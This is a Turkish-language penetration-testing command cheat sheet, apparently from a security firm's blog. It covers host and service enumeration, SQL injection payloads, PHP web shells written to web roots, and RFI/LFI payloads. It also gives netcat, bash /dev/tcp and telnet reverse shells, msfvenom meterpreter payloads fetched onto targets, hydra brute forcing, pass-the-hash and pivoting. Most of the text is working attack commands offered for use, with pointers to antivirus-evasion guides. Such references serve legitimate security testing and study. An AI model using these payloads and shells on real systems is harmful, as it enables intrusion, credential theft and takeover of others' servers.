İlk aşamalarda listelenen komutlar bilgi toplama (enumeration) odaklıdır, saldırı stratejiniz bu adımlarda elde edeceğiniz bilgilerin üzerine inşa edilmelidir.
Sunucu Tespiti
netdiscover -r 192.168.163.0/24 nmap -sn -PE -PP -PM 192.168.165.0/24
TCP Servis Tespiti
nmap -A -Pn -p- -sC -oN $host-TCPScanResult.nmap $host
UDP Servis Tespiti
nmap -A -Pn -sU --top-ports 20 -sC -oN $host-UDPScanResult.nmap $host
Servislere Yönelik Komutlar
HTTP servisi mevcutsa
HTTP servisleri için:
nikto -h $host -p $port -o http-nikto-$host-$port-nossl.txt dirb http://$host:$port/ -o http-dirb-$host-$port-nossl.txt
HTTP(S) servisleri için:
nikto -h $host -p $port -ssl -o http-nikto-$host-$port-ssl.txt dirb https://$host:$port/ -o http-dirb-$host-$port-ssl.txt
DAV desteğinden emin olmak için:
davtest -url http://$host
DAV desteği üzerinden dosya atmak için:
cadaver $host put shell.php [cadaver komut satırından]
robots.txt dosyasında çok fazla kayıt varsa mevcut dizinleri hızlı biçimde tespit edebilmek için (komutu çalıştırmadan önce robots.txt dosyasını çalıştığınız dizine kaydediniz):
wfuzz -c -z file,robots.txt --hc 404 http://$host/FUZZ veya for line in $(cat robots.txt); do wget http://host$line/ 2>&1; done
SMB (veya Samba) servisi mevcutsa
SMB enumeration için:
enum4linux -a $host | tee smb-enum-$host.txt
Windows SMB servisi üzerindeki açıklıkları bulmak için:
nmap -Pn -p445,139 --script=smb-vuln* -oN smb-nmap-$host.txt $host
SMB paylaşımlarını görmek için:
smbclient -L $host
Paylaşıma bağlanmak için, password sorulduğunda enter'a basılır.
smbclient //$host/<paylaşılan dizin>
SMB enumeration'ı için kullanıcı adı ve parolamız varsa:
enum4linux -u USER -p PASSWORD -a $host > smb-enum-$host.txt smbclient //$host/paylaşım -U USER [daha sonra parola girilir]
Null session üzerinden kullanıcı enumeration'ı için:
enum4linux -a $host > smb-enum-$host.txt smbclient -U "" $host [daha sonra enumdomusers v.d. komutlar girilir. help komutu ile diğer komutları görebilirsiniz.]
Samba versiyonunu enumerate etmek için:
Metasploit un "auxilary/scanner/smb/smb_version" modülünü kullanabilirsiniz.
SNMP servisi mevcutsa
snmp-check -c $community $host | tee snmp-$host.txt
NFS servisi mevcutsa
Paylaşımları görmek için:
showmount -e $host
NFS paylaşımı mount etmek için:
mkdir remotedir
mount -t nfs $host:/<paylaşılan dizin> ./remotedir/
Wordpress uygulaması mevcutsa
wpscan -–url $host -–enumerate ap -–enumerate at -–enumerate u
Joomla uygulaması mevcutsa
joomscan -u $host
MySQL komut satırı bağlantısı için (parola boş ise veya biliyorsanız):
mysql -u root -h $host -p
Oracle servisi mevcutsa
Oracle enumeration (öntanımlı parola kullanan kullanıcı var mı?):
oscanner -v -s $host
MSSQL servisi mevcutsa
MSSQL komut satırı bağlantısı için (parola boş ise veya biliyorsanız)
sqsh -S $host -U sa
MSSQL "sa" parolasını ele geçirmişsek (ve tabi xp_cmdshell aktifse):
Metasploit'in "auxiliary/admin/mssql/mssql_exec" modülünü kullanarak aşağıdaki komutu (CMD) çalıştırabilir ve Administrator parolasını değiştirebiliriz.
cmd.exe /c net user Administrator Aa123456
SSH servisi mevcutsa
SSH bağlantısı için (parola veya private key'i biliyorsanız):
Parola ile bağlanma
ssh -l $user $host veya ssh $user@$host
SSH servisine farklı bir port'tan bağlanma
ssh $user@$host -p $port
Private key ile bağlanma
ssh -i /path/to/id_rsa $user@$host ssh -i /path/to/id_dsa $user@$host
RDP bağlantısı
RDP ile bağlantı kurmak için (bir kullanıcı adı ve parolamız varsa)
rdesktop $host -u btruser -p Aa123456
Meterpreter oturumunuz varsa RDP bağlantısı yapabilecek bir kullanıcı tanımlamak için:
meterpreter > run getgui -u btruser -p Aa123456
VNC servisi mevcutsa
VNC sunucusuna bağlanmak için:
vncviewer $host:5900
Web Uygulamalarına Yönelik Komutlar
SQL injection açıklıklarına yönelik saldırılar
SQL hatası aldırmak için payload'lar:
' ''
Klasik logon aşma veya bilgi sızdırma payload'ları:
MSSQL ve MySQL için
1 or 1=1 -- 2 ' or 1=1 -- 2
Sadece MySQL için (URL encoding yapılmazsa URL'de gönderilen payload'ları için # işareti yok sayılır browser tarafından)
1 or 1=1%23 ' or 1=1%23
UNION SQL injection'da kolon sayısını bulma
id=900 union all select 1,2,3,4,5,6 -- 2
SQL injection ile bilgi sızdırma
id=900 union all select 1,2,3,4,user(),6 -- 2
MySQL, MSSQL ve Oracle temel veri yapıları sorguları
MySQL:
Örnek SQL Injection Payloadu:
id=738 union select all 1,2,3,4,User,Password from mysql.user -- 2
Kullanıcı adları ve parola hashlerini elde etmek için
SELECT User,Password FROM mysql.user
Veritabanı isimlerini elde etmek için
SELECT schema_name FROM information_schema.schemata
Tablo isimlerini elde etmek için
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_adı'
Alan (kolon) isimlerini elde etmek için
SELECT column_name FROM information_schema.columns WHERE table_name = 'tablo_adı'
MSSQL:
Kullanıcı adları ve parola hashlerini elde etmek için
SELECT Name, Password from sys.syslogins
Veritabanı isimlerini elde etmek için
SELECT name FROM sys.databases
Tablo isimlerini elde etmek için
SELECT TABLE_NAME FROM <DATABASE_NAME>.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' SELECT name FROM sysobjects WHERE xtype='U' (SQL Server 2000 için)
Alan (kolon) isimlerini elde etmek için
SELECT COLUMN_NAME FROM <DATABASE_NAME>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'Customers'
Oracle:
SELECT table_name, column_name, data_type, data_length FROM USER_TAB_COLUMNS WHERE table_name = 'MYTABLE'
Veritabanı üzerinden komut çalıştırma
MySQL:
Dosya okuma (load_file('/etc/passwd') dosya içeriğini string olarak döndürür) Dosya yazma (select * from kullanici into outfile C:\\wamp\\www\\kullanici.txt)
MSSQL:
xp_cmdshell() - SQL Server 2005 ten bu yana ön tanımlı olarak aktif değildir.
Oracle için doğrudan veritabanı servis erişimi alamazsanız işler kolay değil. Ama uğraşmak isterseniz şu makaleden faydalanabilirsiniz:
http://blog.btrisk.com/2017/03/oracle-veritabani-uzerinden-sistem-ele-gecirme.html
SQL injection da tek alanda birden fazla bilgiyi sızdırmak için:
select concat(user,0x3a,password,0x3a,host) from mysql.user
Script kiddie modunda SQL injection yapmak için
GET isteğinde:
sqlmap -u "192.168.2.4/master.php?group=fatura&page=FaturaDetaylarim.php&id=7" --cookie="PHPSESSID=NTAwMDAwMDA1NDc5" -p id --sql-shell
POST isteğinde:
sqlmap -u "192.168.2.4/master.php?group=tanimlar&page=sifre_degistir.php&script=/tanimlar/js/parolakontrol.js" --cookie="PHPSESSID=NTAwMDAwMDA1NDgx" --data="mevcut_sifre=123456&kullanicino=555555¥i_sifre=123456&tekrar_sifre=123456&Sifre_Degistir_Click=%C5%9Eifre+De%C4%9Fi%C5%9Ftir" -p kullanicino --sql-shell
PHP uygulamalarında SQL injection açıklığı ile shell alma
Basit PHP shell oluşturma:
select "<?php system($_REQUEST['cmd']);?>" into outfile "c:\\wamp\\www\\cmd.php" (Örneğin PHPMyAdmin'den) select "<?php System($_REQUEST['cmd']); ?>" into outfile "/opt/lampp/htdocs/cmd.php"; 777' UNION SELECT 1,2,3,4,5,6,7,8, "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- 2 (SQL Injection açıklığından) 738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/cmd.php' -- 2
Basit PHP shell'in kullanımı:
http://$host/cmd.php?cmd=whoami
Sık rastlanan HTTP web root dizinleri:
Klasik Linux Apache
/var/www/html/ /var/www/
LAMPP
/opt/lampp/htdocs/
XAMPP
/xampp/htdocs
WAMP
/wamp/www
Basit komut çalıştırma imkanını elde ettikten sonra shell alabilmek için üreteceğiniz bir meterpreter payload'unu hedef sunucuya atabilirsiniz.
(Not: anti-virüs'ten nasıl kaçınırım sorusunun yanıtı bu makalede mevcut değildir. Bu sorunun script kiddie'lere yönelik yanıtları için bakınız: http://blog.btrisk.com/2016/01/msfvenom-ile-antivirus-atlatma-1.html, http://blog.btrisk.com/2016/03/veil-evasion-ile-antivirus-atlatma.html, http://blog.btrisk.com/2016/05/shellter-antivirus-atlatma.html)
HTTP üzerinden hedef sunucu üzerine dosya çekme
HTTP Server'ı başlatma:
python -m SimpleHTTPServer 80
Linux için wget ile dosya çekme:
wget http://$kali_ip/dosya
Windows için wget fonksiyonalitesine sahip bir vbscript oluşturmak için:
Şu linkteki komutları her seferinde bir satır olarak çalıştırarak bir vbscript oluşturabilirsiniz:
https://gist.github.com/sckalath/ec7af6a1786e3de6c309
Daha sonra aşağıdaki gibi bir HTTP isteği ile payload'u çekebilirsiniz:
http://$host/cmd.php?cmd=cscript wget.vbs http://$kali_ip/shell.exe shell.exe
RFI / LFI açıklıklarına yönelik saldırılar
Komut satırından basit RFI (data filter desteği varsa):
page=data://text/plain, <?php system("whoami");?>
Komut satırından base64 kodlu RFI (data filter desteği varsa):
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
RFI ile tek istekte hem injection hem komut çalıştırma:
page=data://text/plain,<?php system($_GET[cmd]);?>&cmd=whoami
RFI ile tek istekte hem injection hem komut çalıştırma (base64 ve URL encoding ile):
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8%2B&cmd=whoami
LFI ile sistem üzerindeki bir dosya içeriğini okuma:
?file=php://filter/convert.base64-encode/resource=index.php ?file=php://filter/convert.base64-encode/resource=/etc/passwd ?file=php://filter/convert.base64-encode/resource=../../../../../etc/passwd ?file=file:///etc/passwd
RFI ile Meterpreter session alma:
msfvenom -p php/meterpreter_reverse_tcp LHOST=$kali_ip LPORT=4444 -e php/base64 -f raw > payload.txt
Önemli: Comment'i kaldırmayı ve sonuna ?> eklemeyi unutmayınız
HTTP Server'ı başlatma:
python -m SimpleHTTPServer 80
Multi handler'ı başlatma:
use exploit/multi/handler set PAYLOAD php/meterpreter_reverse_tcp set LHOST $kali_ip set LPORT 4444 set ExitOnSession false exploit -j -z
RFI'ın tetiklenmesi
?page=http://$kali_ip/payload.txt
RFI ile Meterpreter session alamazsak, cmd.php yöntemi ile elf payload yükleyebiliriz:
echo "<?php System($_GET['cmd']);?>" > payload.txt [KALI de oluşturacağımız payload] python -m SimpleHTTPServer 80 [HTTP server ın başlatılması] ?cmd=cat%20/etc/passwd&page=http://$kali_ip/payload.txt [RFI ın çalıştırılması] msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f elf > shell.elf [KALI de oluşturacağımız Meterpreter payload u] ?cmd=wget http://$kali_ip/shell.elf /var/tmp/shell.elf&page=http://$kali_ip/payload.txt ?cmd=chmod %2bx /var/tmp/shell.elf&page=http://$kali_ip/payload.txt >TCP 4444 portundan dinleyecek linux/x86/meterpreter/reverse_tcp multi handler başlatılır. ?cmd=/var/tmp/shell.elf&page=http://$kali_ip/payload.txt
LFI ile kod çalıştırabilmek için Apache log lokasyonları (bu dosyalara basit bir PHP kodu inject etmek için bu kodu içeren bir URL ile sunucuya istekte bulununuz):
XAMPP
/xampp/apache/logs/access.log
WAMP
/wamp/logs/access.log
Debian / Ubuntu
/var/log/apache/access.log /var/log/apache2/access.log
RHEL / Red Hat / CentOS / Fedora
/var/log/httpd/access_log
FreeBSD
/var/log/httpd-access.log
SMTP açıksa ve bir kullanıcıya mail atabiliyorsak, basit bir PHP kodunu içeren bir mail attıktan sonra bu kullanıcının mail dosyasını include edebiliriz:
/var/mail/username /var/spool/mail/username
Web backdoor uygulama örnekleri
http://michaeldaw.org/projects/web-backdoor-compilation
Shell Bağlantısı Kurma Yöntem ve Araçları
Netcat ile basit bind shell verme:
Hedef sunucu üzerinde
[Linux] nc -lvp 4444 -e /bin/bash [Windows] nc -lvp 4444 -e cmd.exe (Windows bilgisayarlarda öntanımlı olarak nc.exe bulunmaz)
Kali'den
nc -v $host 4444
Netcat ile basit reverse shell alma:
Kali üzerinde
nc -nlvp 4444
Hedef sunucu'dan (Not: Netcat'in yeni sürümlerinde -e opsiyonu bulunmamaktadır)
nc -e /bin/sh $kali_ip 4444
(Linux hedef sunucular için) komut satırı injection (command line injection) açıklığı üzerinden shell alma yöntemleri
Kali üzerinde
nc -nlvp 4444
Hedef sunucu komut satırında
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $kali_ip 4444 >/tmp/f veya rm -f /tmp/p; mknod /tmp/p p && nc $kali_ip 4444 0/tmp/p veya mknod backpipe p; nc $kali_ip 4444 0<backpipe | /bin/bash 1>backpipe veya /bin/bash -i > /dev/tcp/$kali_ip/4444 0<&1 2>&1
Telnet ile shell alma
Hedef üzerinde
telnet 192.168.1.133 8080 | /bin/bash | telnet 192.168.1.133 8081
Kali'de
nc -nlvvp 8080 [komut girmek için] nc -nlvvp 8081 [çıktıları görmek için]
Reverse TCP meterpreter bağlantısı için Windows executable payload oluşturma:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f exe > shell.exe
(Metasploit'ten) handler'ı başlatma:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST $kali_ip set LPORT 4444 set ExitOnSession false exploit -j -z
Reverse TCP meterpreter bağlantısı için Linux executable payload oluşturma
(attığınız dosyaya çalıştırma haklarını vermeyi unutmayınız):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f elf > shell.elf
(Metasploit'ten) handler'ı başlatma:
use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST $kali_ip set LPORT 4444 set ExitOnSession false exploit -j -z
Reverse TCP meterpreter bağlantısı için PHP payload oluşturma
(PHP payload'un elle düzeltilmesi gerekmektedir. Ayrıca PHP payload ile Meterpreter session'ını aldıktan hemen sonra bir executable payload upload etmekte fayda vardır. Çünkü PHP ve ASP payload'larından geçilen shell'ler stabil çalışmamaktadır):
msfvenom -p php/meterpreter/reverse_tcp LHOST=$host LPORT=4444 -f raw > shell.php
PHP Meterpreter multi handler'ı başlatma:
use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST $kali_ip set LPORT 4444 set ExitOnSession false exploit -j -z
Reverse TCP meterpreter bağlantısı için ASP payload oluşturma
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f asp > shell.asp
(Metasploit'ten) handler'ı başlatma
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST $kali_ip set LPORT 4444 set ExitOnSession false exploit -j -z
HTTP Dışındaki Hedef Sistem Üzerine Dosya Çekme Yöntemleri
TFTP servisi ile dosya çekme [Windows hedef sunucudan]
Kali üzerinde tftp servisini Metasploit ile başlatma:
use auxiliary/server/tftp
set tftproot /root/tftprootdizini/
exploit
Hedef (Windows) sunucu tarafında dosyayı çekmek için
tftp -i $kali_ip get shell.exe
FTP servisi ile dosya çekme [Windows hedef sunucudan]
Kali üzerinde ftp servisini Metasploit ile başlatma:
use auxiliary/server/ftp
set ftproot /root/
exploit
Windows tarafında çalıştıracağımız ftp komutları:
open $kali_ip anonymous whatever binary get payload.exe C:\\WINDOWS\\TEMP\\payload.exe bye
ftp -s:C:\\WINDOWS\\TEMP\\ftp.txt
Bunun için önce ftp.txt dosyasını oluşturmamız gerekir:
echo open $kali_ip > ftp.txt echo anonymous >> ftp.txt echo whatever >> ftp.txt echo binary >> ftp.txt echo get payload.exe C:\\WINDOWS\\TEMP\\payload.ex >> ftp.txt echo bye >> ftp.txt
Komut satırından Base64 ve Hex kodlama ve decode etme
echo -n "btrisk" | base64 -w 0 echo "YnRyaXNr" | base64 -d echo -n "btrisk" | xxd -p - echo 62747269736b | xxd -r -p
Dosya İnceleme
PDF dosya inceleme:
pdf-parser Invoice.pdf
Resim ve diğer binary dosyalar için ilk inceleme komutları:
exif (resim dosyaları için) strings (tüm binary dosyalar için) binwalk (çalıştırılabilir dosyalar, firmware v.b. için)
Steganografi ile gizlenmiş dosyayı çıkarma (şifresini biliyorsanız):
steghide extract -sf image.jpg
Dosya tipini incelemek için:
file $dosya_adi
Hash Kırma
Hash kırma siteleri:
https://www.hashkiller.co.uk/ntlm-decrypter.aspx
https://crackstation.net/
MD5 kırma site örneği:
https://md5db.net/decrypt
Hash tipini öğrenme:
hash-identifier
John The Ripper kullanımı (offline parola hash'i kırmak için):
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Kali üzerinde rockyou.txt lokasyonu:
/usr/share/wordlists/rockyou.txt
fgdump.exe ve PwDump.exe lokasyonu:
/usr/share/windows-binaries/fgdump/
Passing the hash yöntemi ile komut satırı erişimi alma:
export SMBHASH=hashdegeri-lm-ve-ntlm pth-winexe -U domainname/administrator%hashdegeri //$host cmd [komut satırı erişimi açılır]
SAM dosyası ele geçirirseniz dosyayı "Cain & Abel" ile açabilirsiniz.
Online Parola Kırma Örnekleri
SSH
hydra -l root -P passwords.txt $host ssh hydra -L user.txt -P pass.txt -t 4 ssh://$host:22
FTP
hydra -l root -P passwords.txt $host ftp
RDP
hydra -t 1 -V -f -l administrator -P passwords.txt rdp://$host
Linux'da (genellikle bulunabilecek) world writable dizinler (enumeration script'lerimizi atmak için, dizinlerin varlığından emin olmak ve yazılabilir olduklarını görmek için meterpreter shell'inden "echo aaa > /var/tmp/sil" komutu ile bir dosya oluşturulabilir)
/tmp/ [Bu dizin genellikle bir cron job ile periyodik olarak otomatik temizlenir, bu yüzden aşağıdaki dizin tercih edilebilir] /var/tmp/ /dev/shm/ /var/mail/ /var/spool/mail/
Pivoting
Bir meterpreter oturumu kurulduktan sonra
Aşağıdaki komutla hedef sistemin ağ arayüzleri, bu arayüzlerin IP adresleri ve netmask değerleri görülür
meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün 192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli ve 255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır]
Aşağıdaki komutla ulaşılmak istenen ağ bölümü için routing konfigürasyonu yapılır (komutların ilki ve sonuncusu yardım amaçlıdır)
meterpreter> run autoroute -h [bu komutla autoroute script i hakkında yardım bilgisi edinebiliriz] meterpreter> run autoroute -s 10.1.0.0/24 meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print edilebilir]
Bu komutla tanımlanan route konfigürasyonunun sadece meterpreter oturumu için geçerli olduğunu unutmayınız. Sisteminiz üzerindeki diğer uygulamaların da bu routing imkanını kullanabilmesi için gerekli adımlar aşağıda belirtilmiştir.
Yeni route'umuz eklendikten sonra mevcut meterpreter oturumumuz içinden aşağıdaki komutla hedef sistem üzerinden erişebildiğimiz diğer sunucuların varlığı keşfedilir (komutların ilki yardım amaçlıdır)
meterpreter> run arp_scanner [script in opsiyonlarını bu komutla görebilirsiniz] meterpreter> run arp_scanner -r 10.1.0.0/24
Bu noktadan sonra port tarama için iki seçeneğimiz var:
1) Metasploit'in sistem üzerinde çalışan diğer uygulamaların (örneğin nmap'in) kullanabileceği bir proxy çalıştırması ve local sunucu üzerinde çalışacak bu proxy portu üzerinden hedef subnet ve sunuculara bu uygulamalarla erişme
2) Metasploit'in auxiliary/scanner/portscan/tcp modülü ile yeni subnet üzerindeki sunucularda TCP port tarama
Birinci seçenek daha esnek görünüyor, örneğin nmap'in service enumeration özelliğini de kullanabiliriz bir sorun çıkmazsa. Her iki seçenekte de TCP (yani connect) scan seçeneği ile kısıtlıyız, UDP taraması yapamayız bunu unutmayınız. Eğer birinci seçenek işe yaramazsa Metasploit'in port taramasından faydalanabiliriz.
Birinci Yöntem:
meterpreter> background [auxilary socks proxy modülümüzü kullanmak için mevcut oturumumuzu arka plana atmalıyız] msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1" olduğu msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız bu komutu çalıştırmanız gerekebilir] msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda herhangi bir hata olup olmadığını inceleyebilirsiniz] msfconsole> use auxiliary/server/socks4a msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta fayda var] msfconsole> run [socks proxy arka planda çalışmaya başlar]
Açılan proxy servisi üzerinden hedef ağa ulaşmak için "proxychains" uygulamasını kullanmaya ihtiyacımız bulunmaktadır.
Kali üzerinde bu uygulamanın konfigürasyon dosyasının bulunduğu dosya adı "/etc/proxychains.conf" dur.
"socks4 127.0.0.1 9050" olan öntanımlı satırdaki 9050 port numarasının aşağıdaki gibi 1080 olarak değiştirilmesi gerekmektedir (çünkü Metasploit içinden başlatılan SOCKS proxy'nin port numarası 1080 olarak opsiyonlar içinde belirtilmiştir)
socks4 127.0.0.1 1080
Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki uygulamaları kullanabiliriz:
proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli çünkü proxy bağlantısı üzerinden ICMP paketleri taşınamaz, sadece TCP paketleri iletilmelidir.] proxychains nmap -sT -Pn -p- 10.1.0.155
İkinci yöntem:
nmap gibi service enumeration yapamayacağınız bu yöntemde metasploit'in port tarama imkanını kullanacağız.
msfconsole> use auxiliary/scanner/portscan/tcp msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini değiştirmek isteyeceksiniz] msfconsole> set ports 1-65535 msfconsole> set rhosts 10.1.0.155 msfconsole> run
Eğer hedef sistem üzerindeki bir servisle Kali bilgisayarınız üzerinden etkileşime geçmek isterseniz (örneğin bir HTTP servisi tespit ettiyseniz ve bu web sitesine browser'ınızla erişmek istiyorsanız) o zaman meterpreter oturumunuzun port forwarding imkanını kullanabilirsiniz.
msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada oturum numaranızın "1" olduğu varsayılmıştır] meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz] meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155
Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine erişirsiniz:
http://localhost:8000/
Yukarıda bahsedilen ve diğer meterpreter script'lerinin bulunduğu dizin "/usr/share/metasploit-framework/scripts/meterpreter" dir.
Bu dizini bulmak için "locate scripts | grep meterpreter" komutunu çalıştırabilirsiniz.
Diğer
Meterpreter oturumumuz bağlantı kurulduktan bir süre sonra düşüyorsa aşağıdaki exploit opsiyonunundan faydalanabilirsiniz:
set AUTORUNSCRIPT post/windows/manage/migrate
Msfvenom yardım komutları:
msfvenom -l payloads msfvenom -l encoders msfvenom --help-formats
Aldığınız shell'i daha kullanışlı bir hale getirmek için (örneğin localde mysql bağlantısı kurduğunuzda komut satırı etkileşiminizin sıkıntısız olabilmesi için):
python -c 'import pty;pty.spawn("/bin/bash");'